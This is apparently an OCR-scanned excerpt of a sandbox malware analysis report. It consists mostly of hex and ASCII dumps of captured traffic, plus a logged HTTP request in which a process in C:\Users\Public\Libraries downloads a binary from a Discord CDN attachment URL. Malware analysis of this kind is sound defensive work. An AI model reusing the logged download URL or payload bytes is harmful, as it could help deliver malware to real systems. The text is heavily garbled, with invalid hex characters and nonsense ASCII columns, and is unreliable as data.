04 23 72 c3 f5 4c 8b 9b 44 b3 ba d3 5¢ bl 2d ff 43 a3 6d 77 cd e5 76 af 01 be 72 bf d6 a6 b0 ec ef 74 cd 9f 57 96 5a 7f b3
df 37 ae ¢3 96 6f 18 fa 6d 3c fd 75 c0 02 f3

Data Ascii: 1vDCQ-v1"4=0]TB)O"JOJU.Ol+tv$r~P@4;wwOiP%@_i 8,B TW}-:Zh8 6jgE+k0349[0F}b1#rLD\-CmwvrtWZ
7om<u

Data Raw: 73 bc ae fc a3 a2 31 be ad 92 38 fd 67 a5 e6 72 92 1a 64 35 ea 8c 45 d1 45 a3 e7 1f b9 a9 a6 Oa 92 39 d9 0f
91 3c bc e0 00 a6 ca bd el 72 00 7e 46 5b d9 00 7e b4 70 85 66 a2 c8 72 9 44 f2 2¢ 74 51 e2 fe 5¢ 79 6¢ 07 ea d4 ab cb
d4 3b fe 80 7d 9e 94 37 57 40 a3 40 31 45 45 33 00 2 2c b1 d1 e8 7b c6 fa 44 53 3d af d2 36 3e 07 76 d6 d2 81 d7 02 74
64 7e 29 Oe ca 6f be 57 40 7c ¢9 21 3c 1d 16 a2 d4 3f 9f dd 70 6f 67 87 6f e3 1c el Oe de ea Oc 14 1a 97 ed dd 34 66 44
4592 e6 60 36 63 8b c0 a4 2a e7 2b 7c c2 a0 11 3c 78 67 2e 09 5e 32 2e 96 d6 e5 44 d2 1b 49 51 61 b7 e6 f2 3¢ 35 47
90 Oa c7 5a 98 27 fe b8 57 a5 f6 1f 5¢ f1 e3 b5 d6 e7 bb 19 61 39 9b ce ff 6b f8 2b af 26 8e c6 db ce 5 6a 50 8b 4e 2¢ 60
9e e6 a3 dl 70 e2 e2 b2 9a bl aa 4e c2 c1 55 ab 3a 7d f2

Data Ascii: s18grd5EE9<r~F[~pfrD,tQ\yl;}7W@ @1EE3,{DS=6>vtd~)oW@|!<?pogo4fDE 6c*+|<xg."2.DIQa<5GZ'W\a
9k+&jPN, pNU:}

Data Raw: f0 55 d2 a4 ba 6b 88 7a 67 59 ec f4 69 5a df e8 Oc 85 d7 4d 37 55 73 9e 36 93 19 Oa 7f d4 b1 a8 22 fb ef cd a0
75 bd cd 1d 94 1d 67 6d 63 91 97 7a 0d 8¢ 33 45 45 48 94 3 ad 35 76 al 9c 8e cc 68 76 11 f6 1d 89 1b 8a 9a c7 2d 5b
3f db 49 21 02 20 9d 75 1e b7 87 55 bd e4 da 4b b3 8a aa 23 ab 36 68 4e fd 5¢ 74 d8 al 6 36 36 51 75 58 9f 0a 77 29
0d c0 b0 11 6a ba 3e 26 69 8d 7f 4c 68 72 ca 61 44 92 22 81 6d 2 01 5e 82 88 13 cb f2 e7 91 ¢4 d0 6f dd 7a 9c 6f b6 53
40 61 8f 79 85 dd c9 fa 9e 3b 9d 11 32 87 45 60 3¢ 84 30 1d fd b1 77 21 9d 6c f3 3b 80 75 a0 60 d1 fc cO 3f 94 58 d2 19
01 4e 5a 04 b5 36 32 72 01 9b 9b b9 60 61 c2 97 be e7 db 38 8 7 35 49 fa €5 91 06 9d 9d al 95 28 0f c4 61 04 95 00 a9
00 c9 57 d3 13 a5 bd 7f 3c 08 4c b9 c8 58 ea 58 7c 64 29 20

Data Ascii: UkzgYiZM7Us6"ugmcz3EEH5vhv-[?1! uUK#6hN\I66QuXw)j>&iLhraD"mozoS @ay;2E <0wll;u ?XNZ62r'a
85I(aW<LXX|d)

Data Raw: 77 9b 55 55 00 4a 77 2e 79 Oa 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 85 34 32 7d 79 4a 89 4f 00
75 4a 77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 34 32 7d 79 4a 89 4f 00 75 4a 77
9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 85 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55
5500 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55 55 00 4a
77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 3c 85 8d 75 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73
2275 1c 696924 7322 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73
22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73

Data Ascii: wUUJw.y042}UUwJ].w.wuJ42}yJOudwUUJIw.y042}UUwJ.w.wuJ42}yJOudwUUJIw.y042}UUwd.w.wu
J42}yJOuIwUUIw.y042UUwd.w.wuJ42}tyJOuIwUUIw.y042 U Uwd.w.wud<uuii$s " uiiss uiiss " Huii$s"uii$s Huiiss uiiss"}
Juii$s"uii$s"Huiiss

Destination IP Destination Process
Port
162.159.133.233 443 C:\Users\Public\Libraries\Eluiezilfw.exe
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kBytes

Timestamp T Direction
2022-06-26 07:43:09 UTC 331 ouT
2022-06-26 07:43:09 UTC 331 IN
2022-06-26 07:43:09 UTC 333 IN
2022-06-26 07:43:09 UTC 333 IN
2022-06-26 07:43:09 UTC 334 IN
2022-06-26 07:43:09 UTC 336 IN
2022-06-26 07:43:09 UTC 337 IN
2022-06-26 07:43:09 UTC 338 IN

Copyright Joe Security LLC 2022

Data

GET /attachments/990482594137251863/990489253987360768/Eluiezilfiwmdrgrdfrgpnwmurrnwnhm HTTP/1.1
User-Agent: 16

Host: cdn.discordapp.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 26 Jun 2022 07:43:09 GMT

Content-Type: application/octet-stream

Content-Length: 279040

Connection: close

CF-Ray: 72144f71797c5c85-FRA

Accept-Ranges: bytes

Age: 3086

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Eluiezilfwmdrgrdfrgpnwmurrnwnhm

ETag: "7d74af495b07aad93486870343b767e3"

Expires: Mon, 26 Jun 2023 07:43:09 GMT

Last-Modified: Sun, 26 Jun 2022 05:30:40 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1656221440589477

x-goog-hash: crc32c=Xt3y7g==

x-goog-hash: md5=fXSvSVsHqtkOhocDQ7dn4w==

X-g00g-metageneration: 1

X-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

x-goog-stored-content-length: 279040

X-GUploader-UploadID: ADPycdtJ7t9fCETp7UygsO08dpsnNnPY5cqzUa7Rm36R-2-yoeBJIxLn_rXiCmsw20u5C
LThZXuNNnIYW7HZr2ZJiNfBMOvlyGhBb

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:V\/a.nel.cloudflare.comVreport\\w3?s=F7V%2B7cVzdxh9zuxlufANpShCCOFVhV
gCy2a0OmOITNIaOzcSNPORQIiutEtennUmotplaGvpQi%2FPkG2W4fv31d3S60A7tQVDuUdVVi2V5%2FXJIBoIE1brOfD
eVQMn%2Fp5HMMUZcXyFg%3D%3D"}],"group":"cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74
6f 22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20
63 6¢ 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 28 7f b5 25 de 25 25 25 29 25 25 25 da da 25 25 dd 25 25 25 25 25 25 25 65 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 dc 25 25 33 fa df 33 25 d9 e4 a8 fc dd dc
71 a8 fc 79 8d 44 4e 45 95 97 4a 42 97 3c 48 45 3e 3¢ 93 93 4a 99 45 87 40 45 97 50 93 45 44 93 45 69 2a 2e 45 48 4a
89 40 53 e8 e8 2f 49 25 25 25 25 25 25 25 19 fb 3d ab d5 92 9b b0 d5 92 9b b0 d5 92 9b b0 Oe 86 9d b0 92 92 9b b0 ba ¢
d 58 b0 8e 92 9b b0 ba cd al b0 96 92 9b b0 ba cd 97 b0 d7 92 9b b0 63 9a 04 b0 90 92 9b b0 7d cd 58 b0 8e 92 9b b0
63 9a 3b b0 8¢ 92 9b b0 d5 92 52 b0 a5 db 9b b0 Oe 9a 06 b0 7e 92 9b b0 ab 6¢ 58 b0 47 92 9b b0 ab 6¢ al b0 8¢ 92 9b
b0 86 4f 01 b0 d9 92 9b b0 52 8¢ 95 b0 8¢ 92 9b b0 77 44 3e 8d d5 92 9b

Data Ascii: (%%%%)%%%%%%%%%%%%0e %% % % %% %% %% % %% %% % % % %% %% %% % % % %%
9%%%%%%%%%33%qyDNEJIB<HE><JE@EPEDEi*. EHI@S/1%%%%%%%=Xc}Xc;R~IXGIORwWD>

Data Raw: 59 65 25 ec 79 24 93 99 40 97 8b 3c 3e 40 89 2a 87 8f 40 3e 99 66 e5 da 00 b5 cc 1c 25 66 e5 da 00 bl cc 1c
2566 e5 da 00 ad cc 1c 25 66 5 da 00 a9 cc 1c 25 66 e5 da 00 a5 cc 1c 25 66 e5 da 00 c9 cc 1c 25 66 e5 da 00 al cc
1c 25 66 e5 da 00 c5 cc 1c 25 66 e5 da 00 9d cc 1c 25 66 e5 da 00 99 cc 1c 25 66 e5 da 00 95 cc 1c 25 66 e5 da 00 91
cc 1c 2566 e5 da 00 8d cc 1c 25 66 e5 da 00 89 cc 1c 25 66 e5 da 00 85 cc 1c 25 66 e5 da 00 81 cc 1c 25 66 e5 da 00 7
dcc 1c 2566 e5 da 00 79 cc 1c 25 66 e5 da 00 75 cc 1c 25 66 e5 da 00 c1 cc 1c 25 66 e5 da 00 71 cc 1c 25 66 e5 da 00
6d cc 1c 25 66 e5 da 00 69 cc 1c 25 66 e5 da 00 d9 cc 1c 25 66 e5 da 00 d5 cc 1c 25 66 e5 da 00 d1 cc 1c 25 66 e5 da
00 65 cc 1c 25 66 e5 da 00 61 cc 1c 25 66 e5 da 00 e9 cc 1c 25 66 e5

Data Ascii: Ye%y$@<>@*@>f%f%f%f%f%f%f%f%f%f%f% %% %f%f% }%6fy Yofu%fY%fqvefmYefi%fYefefvofeYofadefvof

Data Raw: 25 66 2b 66 65 2d 75 0d 3b 21 da da 60 e5 50 2f a2 e0 ed c0 1c 25 dc 25 25 25 66 2b 0d ec d8 da da 66 69 49
29 64 2b dd 11 c0 1c 25 16 2b 50 b1 Oe e5 64 e2 5e al 49 31 25 99 ec 66 69 49 2d 64 e2 66 69 49 31 06 69 49 2d 64 22
29 5e e9 3d 38 3a 83 36 9e 66 e5 2e 7b 32 30 5e €9 0d 66 b4 64 39 49 68 99 49 2d 68 al 49 29 68 91 49 31 66 5 66 ef
5c be 25 15 da da 64 71 49 35 de 39 49 5¢c e7 da ea 25 25 5¢ 07 25 15 da da 64 79 49 39 66 69 49 35 64 de 66 69 49 39
06 69 49 35 64 1e 29 7c 11 c0 1c 25 64 e2 c6 36 66 e2 66 65 2d 64 2b 66 2 66 65 31 de 2b 64 20 25 66 2b 16 69 49 35
4e 2b 66 69 49 35 64 2b 66 20 25 16 69 49 39 9b e2 66 69 49 39 64 20 25 66 2b 16 20 25 4e fa 8f 29 8d 25 35 25 25 66
20 25 06 2b 75 66 2b 75 0d 4b d6 da da 60 €5 50 2b Oe €5 64 de c6 ea 66

Data Ascii: %f+fe-u;!"P/%%%%f+fil)d+%+Pd"11%fil-dfil 1il-d")*=8:6f.{20"fd9IhI-h1)h11f\%dqI591\%%\%dy 19fil 5dfil
9il5d)|%d6ffe-d+ffel+d %f+ilSN+fil5d+f %il9fil9d %f+ %N)%5%%f %+uf+uk”P+df

Data Raw: 0d f9 1b da da eb e0 €9 c0 1c 25 25 7¢ 49 Ob 1c 25 75 0d c¢7 1b da da Oe e5 7e 49 Ob 1c 25 7c 11 c0 1c 25 64
20 1d c6 6 8d 25 a5 25 25 8f 25 66 20 1d 66 65 2d 75 0d b3 1b da da 66 20 1d 66 25 64 20 1d dd 11 c0 1c 25 16 20 1d
50 b6 dd 11 c0 1c 25 0d 43 d2 da da dd 21 c0 1c 25 0d 39 d2 da da dd 4d Ob 1c 25 0d 2f d2 da da 7c 09 c0 1c 25 64 20
21 5e 58 21 25 99 fc 66 20 21 66 25 7e 09 c0 1c 25 66 20 21 75 0d 08 1b da da 7c 09 cO 1c 25 64 20 21 5e 58 21 25 50 b
aOe e5 7f 34 34 89 64 35 8d b2 41 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 02 1b da da 8d f1 c0 1c 25 0d 00 1
b da da 9e c4 8a 41 25 25 c6 b6 34 34 38 9e b5 2e 5e e9 1d 16 e0 3d Ob 1c 25 50 e4 66 75 29 64 f0 3d Ob 1c 25 66 75 29
64 39 49 66 75 2d 5c 1f 25 35 25 25 5a 73 16 29 49 50 2 60 f7 54

Data Ascii: %%|1%u~1%|%d %%%%f fe-uf f%d % P%C!%9M%/|%d "X!%f 11%~%f !u|%d "X!%P44d5Ae%(
9%%/%%A%%448./=%Pfu)d=%fu)d9Ifu-\%5%%Zs)IP T

Data Raw: 29 66 e2 7e 45 Ob 1c 25 66 22 29 7e 41 Ob 1c 25 d5 dc 5e e9 35 3a 83 36 9e 68 65 25 2e 5e €9 1d 66 fd 66 f9
68 1e 29 0d 19 1b da da 5e 61 49 25 99 e6 66 €9 0d 32 da da da a9 e5 50 29 Oe e5 c6 27 d5 dc 34 7f 36 9e b5 2e 7b 5e
€9 1d 66 17 66 fd 66 f1 68 7b 29 66 9e 0d 46 d2 da da 5e 61 49 25 99 e6 66 €9 0d 4b da da da a9 e5 50 29 Oe e5 c6 27
d5 dc 34 7f 83 36 9e 68 65 25 2c 66 f9 Oe a4 64 2f 60 e5 54 de 5e e5 de 9c 1d 27 18 25 29 25 25 5a f4 66 €8 49 Ob 1c 25
66 71 5c 19 64 2f 5e 5f 25 50 2d 65 18 dc 29 25 25 50 c2 66 27 7f 9e 68 65 25 2e 7b 32 30 5e €9 19 66 fd 68 99 49 2d 9a
3d Ob 1c 25 98 41 Ob 1c 25 7c 35 0b 1c 25 64 2b 66 2b 16 7d 2d ea b3 86 25 25 25 66 e2 64 2b 66 2b 66 65 2d 16 fd ea b
3 bf 25 25 25 66 3b 64 7f 2d 66 3b 66 77 29 64 3b 66 3b 16 7f 2d

Data Ascii: )f~E%f")~A%"5:6he%. ffh)"al%f2P)'46 .{ fffh{)fF al%fKP)'46he%,fd/ T"'%)%%Zf|%fq\d/"_%P-e)%%Pfhe%.{
207fhI-=%A%|5%d+f+}-%%%fd+f+fe-%%%f;d-f;fw)d;f;-
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Data

Data Raw: 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 3f 11 da da 9e c4 d1 37 25 25 ¢6 0 66 20 21 36 66 cO 38
9e 66 €5 2e 7b 32 30 5e €9 19 66 ff 5e 9e €2 5e be 21 5e d6 31 58 €0 96 31 25 25 25 5e 0d 29 64 29 49 66 29 49 66 55
5¢ 0b 21 da da 5a 66 29 49 de eb 64 69 49 29 16 ce 50 e2 d5 dc c4 98 dc 25 25 16 ce ea b3 b5 25 25 25 66 13 06 c6 66
79 49 29 16 0 45 Ob 1c 25 50 51 04 08 45 Ob 1c 25 dc 08 41 Ob 1c 25 5e 18 41 Ob 1c 25 31 ea 68 4a dc 25 25 dc 08 45 0
b 1c 25 04 08 41 Ob 1c 25 66 03 c4 81 dc 25 25 64 69 49 29 66 69 49 29 1b 25 27 50 3d 66 69 49 29 64 69 49 2d 66 69
49 2d de 8d 2d 66 69 49 2d 0d 2c dO da da 5e d8 31 al fe 66 29 49 de 9e 64 69 49 29 5e a8 27 66 69 49 29 64 4d 66 69
49 29 5e €5 29 0d 67 1b da da c4 ea dc 25 25 66 03 ¢4 2d dc 25 25 66 d6

Data AsCil: €%6(%%/%627%%f 16f8f. {20/ ANATX1%6%96)d) If) FUNZD)Idil) PY%%%%%fTyl) EYP QE%A% A%1h
JUYEYAYI%%dilfil) % P=fil)dil-fil-fil- ALHIil il dMiN)) g%%f-%6f

Data Raw: 2b a5 5d 47 50 e8 66 2b a5 9d dc 47 50 e0 5e 2b 27 c6 ba Oe c8 66 2b 64 69 49 31 c6 36 66 2b a5 5d 47 50
65 66 2b 75 0d 7b c0 da da 64 2b c6 39 66 2b 75 0d 6f cO da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b af 3d a9 b6
99 e0 a5 d6 47 50 ba 66 2b a5 5d 25 99 45 66 2b 75 0d 47 c0 da da 64 2b c6 39 66 2b 75 0d 3b c0 da da 64 e2 66 e2 06
2b de 0d 66 €2 64 2b 66 2b a5 5d 45 52 ¢3 66 69 49 29 66 b0 0d 9d f4 25 25 66 69 49 31 64 2b 66 69 49 29 66 25 64 69
49 35 Oe c8 ¢c6 56 66 2b a5 5d 47 50 75 66 2b 75 0d b0 09 da da 64 2b c6 49 66 2b 75 0d a4 09 da da 64 e2 66 2b 16 e2
4e 39 66 2b af 25 66 79 49 35 ad 29 4f da 2b 20 66 2b 16 e2 97 11 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 aa 66 2b a5 5d
2599 55 66 2b 75 0d 6¢ 09 da da 64 2b c6 49 66 2b 75 0d 60 09 da da 64 e2

Data Ascii: +]GPf+GP/+'f+dil16f+]GPef+u{d+9f+uodf+fd+f+=GPf+]%Ef+uGd+9f+u;df+fd+f+]ER(il)f%%fil 1d+fil)f%dil5Vf
+]GPuf+ud+If+udf+N9f+%fyl5)O+ f+f+=GPf+]%Uf+uld+If+u’d

Data Raw: 59 65 25 25 25 a0 53 el c7 8c 12 65 25 25 65 9b 5f 46 e6 03 5f 65 25 25 0d 64 29 fe a2 af 63 65 25 25 87 d1
a0 c6 9d 88 1c 65 25 a5 9f f2 92 4b b2 fd 69 65 25 b5 d1 93 57 9d ab 62 6d 65 25 d9 32 2f 1a 3b 8d 84 26 65 25 7c c8 f1
3 f6 7 ae 73 65 c5 a9 39 65 3c 2c 34 a9 77 65 ed 80 f4 b5 94 80 4a 80 30 65 5f ea 45 19 02 6a a6 f3 7d 65 a9 e4 b9 1d
9d 14 1a 5¢ 81 65 c0 e6 94 5b b2 e2 6a 7c 3a 65 ba 73 42 29 a8 a4 17 a4 87 65 bb 47 5¢ 20 65 al 4a 21 40 65 c3 90 95
06 cd 88 a0 78 44 65 b0 cb aa da 24 fa 9d e7 ae 65 7e 39 76 a0 3b 86 8e ca 18 1c 05 b1 c4 a5 a4 22 df 6e cd 1c cf f2 Ob
5a 06 7c 3b db 37 67 46 30 02 14 68 d2 95 05 al 67 55 a4 61 be da bb 77 af c2 67 b3 03 d4 78 d6 c6 a3 cf 2c 1e bl Oa 8f
81 f4 21 4b 7 96 1e 9b be f1 17 04 Oa a9 5c 4b 69 7 2f b5

Data Ascii: Ye%%%Se%%e_F_e%%d)ce%%e%Kie%Wbme%2/;&e%|se9e<,4welOe_Ejle\e[j|:esB)eG\ eJ!@exD
e$e~9v;"nZ|;7gFO0hgUawgx, K\Ki/

Data Raw: 7b 8b 66 57 8b e4 1b 99 f2 8b 5¢ 23 25 e5 4e 35 75 66 25 0d 9d da da da 7d 99 e0 64 cc 83 da bc 83 66 2d da
3c 15 9e b5 77 2c 2e a9 f7 al de da 75 19 Oc 7 68 71 49 35 89 66 3f 64 f4 64 44 2d a2 1c 29 f4 12 65 25 64 1c 31 89 64
2f 36 34 7f 9e c4 5f dc 25 25 66 69 49 51 66 65 31 60 €5 99 33 66 2d d7 5¢ 75 da 2c 21 7d 0d e4 25 25 25 0d cd 27 25 25
9e 68 65 25 66 35 da 77 1d 9e 66 €5 2e 66 fd 66 9e 66 35 da 77 09 66 9e 36 e 66 5 a9 f7 5a dc 9e 75 77 66 35 da 77
0d 7f 7d 9e b5 a5 18 4d e5 1c 25 dc 9b ec 8f 25 8f 25 8f 25 8d ba 1f ¢8 33 da f0 39 05 1c 25 9e b5 a5 18 4d e5 1c 25 25
99 f2 75 75 77 79 8f 27 8f 25 8d 09 1f c8 33 da f0 39 05 1c 25 5e €9 2d 7d 9e 68 65 25 79 8f dc 8f 25 8d 05 1f ¢8 33 da fO
3905 1c 25 5e €9 29 7d 9e 68 65 25 a5 18 4d e5 1c 25 dc

Data Ascii: {fW\#%N5uf%}df-<w,.uhql5f?ddD-)e%d1d/64 %%filQfel 3f-\u,!}%%% %%heY%f5wi.fffswiefZuwfswiM
9%%%%39%M%%uuwy'%39%"-the%y%39%")the%M%

Data Raw: 65 29 64 20 21 Oe e5 30 8d 38 61 65 25 89 da 55 89 64 45 60 b6 a3 f6 26 64 83 31 66 20 21 66 69 fd 29 64 20
1d 5e 58 1d 25 99 de da 30 1d 60 b6 5a c0 Oe e5 7f 34 34 89 64 35 c6 39 c4 1b d6 da da 0d 7c da da da Od 9d d8 da da
0d a2 d8 da da 3a 83 36 34 34 38 9e 30 66 11 5e €9 1d 2e 7b 32 9a 5d Ob 1c 25 66 22 2d 60 e5 99 79 66 55 Oe b6 66 65
29 64 20 21 Oe e5 30 8d a8 61 65 25 89 da 55 89 64 45 16 ce a3 3f 66 20 21 66 29 fd 64 20 1d 1e 64 3a 31 5e 58 1d 25 9
9 de da 30 1d 16 ce 5a Ob Oe e5 7f 34 34 89 64 35 c6 39 c4 ab d6 da da 0d Oc da da da 0d 2d d8 da da 0d 32 d8 da da 3a
8336 34 3438 9e 2c 7b 32 €3 5d Ob 1c 25 68 58 €9 94 e6 25 25 25 ce 80 6a €0 7d Ob 1c 25 6a e0 79 Ob 1c 25 64 08 71
Ob 1c 25 64 f8 75 Ob 1c 25 7e 65 Ob 1c 25 64 f0 6d Ob 1c 25 68 28 e9

Data Ascii: e)d !108ae%UdE &d1f Ifi)d ~X%0°Z44d59|:64480f".{2]%f"-"yfUfe)d |0ae%UdE?f If)d d:1°X%0Z44d59-2:6448,
{2]9%6hX%%%;}%jy%dq%du6~e%dm%h(

Data Raw: 0d 7c f5 da da 38 e7 29 25 b5 2e 7b 32 30 5¢ €9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66
a2 0d a9 23 da da c6 3a 68 93 dc 5¢c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da ea 25 25 0d a9 da da da 66
fd 60 b6 al ea 68 79 49 29 66 a2 66 a6 0d 1c da da da c6 51 66 b8 de b6 66 a2 66 ae 0d 57 29 25 25 7b 66 e2 66 71 49
29 66 ae 0d 79 da da da 66 fd 60 b6 58 27 Oe b6 66 a2 66 ae 0d ee 29 25 25 5¢ €9 29 35 25 25 38 3a 83 36 9e 77 64 07
94 dc 25 25 25 0d d6 23 da da 7f 9e b5 Oc a4 60 f7 99 fc 77 5f 2f 99 f2 5f 6f dc 99 ec 5f 6f 27 99 e6 5f 6f de 99 e0 5e e7 29
c6 0d 67 67 67 64 ac 7f 04 ac c4 f1 23 da da 9e 68 65 25 Oc a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29
99 33 8b 16 6f 2b 99 €0 5e e7 2d c6 09 5e e7 27 5e e7 27

Data Ascii: |8)%.{20\)uNfd9If Zf#:h\%%XM{hil-fql)%%f hy!)ffQfffW)%%6{ffql) fyf X'ff)%%\)5%%8:6wd%%%# w_/_0_0'_o
~gggd#he% w/Eo'0)30+"-"

Data Raw: 25 25 25 75 0d a9 a6 da da 5e 9e 29 73 50 0d 83 36 9e 68 65 25 60 f7 ea a9 el da da da 66 6f 21 ac c4 ea a9
8c da da da 2c 77 75 0d 30 a6 da da 60 e5 ea a9 4c da da da 9e 2e 7b 32 30 5c €9 29 15 da da 75 5e e9 21 66 cc 64 39
49 66 1d 60 1b 5a e4 66 a2 0d a5 da da da c6 38 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da e2
25 25 0d 41 1f da da 66 fd 60 b6 a3 ea 68 79 49 29 66 a2 66 a6 0d 14 25 25 25 c6 4f 66 b8 66 a2 66 ae 0d ad dc 25 25 7
b 66 e2 66 71 49 29 66 ae 0d 13 d4 da da 66 fd 60 b6 58 27 Oe b6 66 a2 66 ae 0d 44 dc 25 25 5c e9 29 35 25 25 38 3a 83
36 9e 66 e5 60 a4 ea a9 31 da da da 75 2¢ 77 0d cd ef da da 60 e5 ea a9 f1 23 da da 7f da 57 64 27 0d cb ef da da 9e b5
0Oc a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29

Data Ascii: %%%u”)sP6he% fo!,wu0’L.{20\)urIfd9If Zf8h\%%XM{hil-fql) %%Af hyl) %% %Offf%%{ffql)ff X fD%%\)5%%8:
6f 1u,w #Wd"w/Eo'0)

Data Raw: da da da 2a 5a 0d 38 c6 57 30 64 b0 64 fd de 81 53 27 64 17 0d fa da da da 2a 5a 15 38 c6 41 66 de 5e 9e 29
0d 42 33 25 25 2a 5a ce c6 €8 66 de 5e 9e 29 0d 45 e2 25 25 2a 5a ce 3a 83 36 9e b5 5e 18 3d e5 1c 25 25 99 e2 da fO
3d e5 1c 25 9e d5 35 0d 60 03 da da 9e 2e 7b 32 30 64 9e 64 fb Oc e5 af 1c dc 68 al 2d 2f 66 4a 21 Oc e5 66 2a 1d 2c 66
222904 9c a3 e6 64 e7 dc 15 dc ff 0d 1d 03 da da 66 22 29 66 f2 66 37 af 2f a5 d4 2f 99 Oc a5 d4 e6 99 18 a5 d4 31 99
24 a5 d4 e8 99 30 a5 d4 33 99 95 a5 d4 ea ea a9 a5 25 25 25 a5 d4 ec ea a9 ad 25 25 25 d5 27 38 3a 83 36 c4 f4 03 da
da 66 39 55 dc fd 0d 5e ce da da dd 29 25 25 25 ¢6 58 66 39 55 dc fd 0d 03 d4 da da dd 29 25 25 25 c6 91 68 39 55 dc fd
0d 2c da da da dd 35 25 25 25 c6 36 Oc a4 af 6f dc da 99 ec 27

Data Ascii: *Z8W0ddS'd*Z8Af")B3%%*Zf") E%%*Z:6"=%%=%5".{20ddh-/fJ!f* f*)df")ff7//1$03%%%%%%'8:6fOU) %
%%Xf9U)%%%h9U,5%%%60'

Data Raw: 66 3d 60 b6 5a f6 60 b6 58 €2 d5 29 0d 97 b4 da da 66 20 21 66 30 1d 0d 9a da da da c4 3e dc 25 25 Oe da 5e
58 0d 25 99 e8 5e 48 0d 29 66 20 0d 66 5d 5e 48 0d 29 66 20 1d ea db 65 dc dc 20 1d 66 20 1d 66 95 27 66 75 2b 60 7
99 e2 66 27 64 20 1d c6 e0 Oe e5 64 20 1d 66 9e d2 13 64 20 11 66 20 11 74 d2 d6 16 15 99 e2 d5 29 0d 37 b4 da da 5e
20 11 2d 5e 58 0d 25 99 2d 66 20 0d 5e 5d dc 50 61 66 20 0d 64 20 09 16 d6 a3 fa 5e 58 1d 25 99 f4 66 20 0d 5e e5 2d 6
6 ae ea 8afb de e7 66 aa 06 a6 66 30 1d 0d 02 da da da 68 20 09 66 30 11 0d ed b2 da da 66 20 09 64 20 0d c6 3e 66
20 0d da 2d 66 20 11 0d 3e b2 da da 64 20 0d 64 58 15 16 38 15 58 de 64 38 15 5e 58 1d 25 99 51 66 30 15 ea 8a fb 66
20 0d 5e e5 2d Oe a4 0d 65 01 da da 66 20 15 75 66 30 21 66 37 66 20 0d

Data Ascii: f="Z"X)f 1f0>%%"X%"H)f f]*H)f e f f'fu+'f'd d fd f t)7~ -*X%-f A|Paf d ~X%f ~-fffOh fOf d >f -f >d dX8Xd8"X%Qf0f
A-ef ufoIf7f
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Data

Data Raw: 0d e0 25 25 25 68 60 ba 23 da da df e0 dc 25 25 0d 5c d8 da da 68 20 0d 75 68 20 13 75 8f 25 8f 25 68 60 ba
23 dada 75 66 20 1d 75 0d 04 96 da da 60 e5 99 47 68 20 0d 75 68 20 13 75 8f 25 8f 25 8d f1 7d 65 25 66 20 1d 75 0d
€6 96 da da 60 e5 99 29 eb 20 13 25 eb 20 17 25 Oe e5 7f 34 34 89 64 35 8d 32 32 65 25 66 20 1d 75 0d b4 df da da 9e
c4 0a 07 da da c6 ca 8d e0 dc 25 25 66 20 21 75 68 60 ba 23 da da 75 0d c9 df da da 8f e0 68 20 ce 75 8f de 0d 5a df da
da 75 0d 2c df da da Oe b6 a5 98 ba 23 da da 25 ea a9 d4 25 25 25 a5 58 ce 25 50 2f a5 58 13 25 ea a9 c4 25 25 25 68 6
0 ba 23 dada 75 0d 93 df da da 68 70 ba 23 da da de e7 64 20 09 c6 de da 28 09 66 20 09 a5 5d 53 99 e6 68 60 ba 23
da da 16 20 09 50 0f 68 60 ba 23 da da 16 20 09 ea a9 86 25 25 25 da

Data Ascii: %%%h #%%\h uh u%%h #uf u'Gh uh u%%}e%f u’) % %44d522e%f u%%:f luh'#uh uZu,#%%%%
X%P/X%%%%h #uhp#d (f ]Sh'# Ph'# %%%

Data Raw: 5e €9 15 2e 7b 64 28 19 64 30 1d 64 20 21 5e 58 19 25 50 2f Oe €5 64 20 15 ¢4 e4 dc 25 25 a2 20 15 da da da
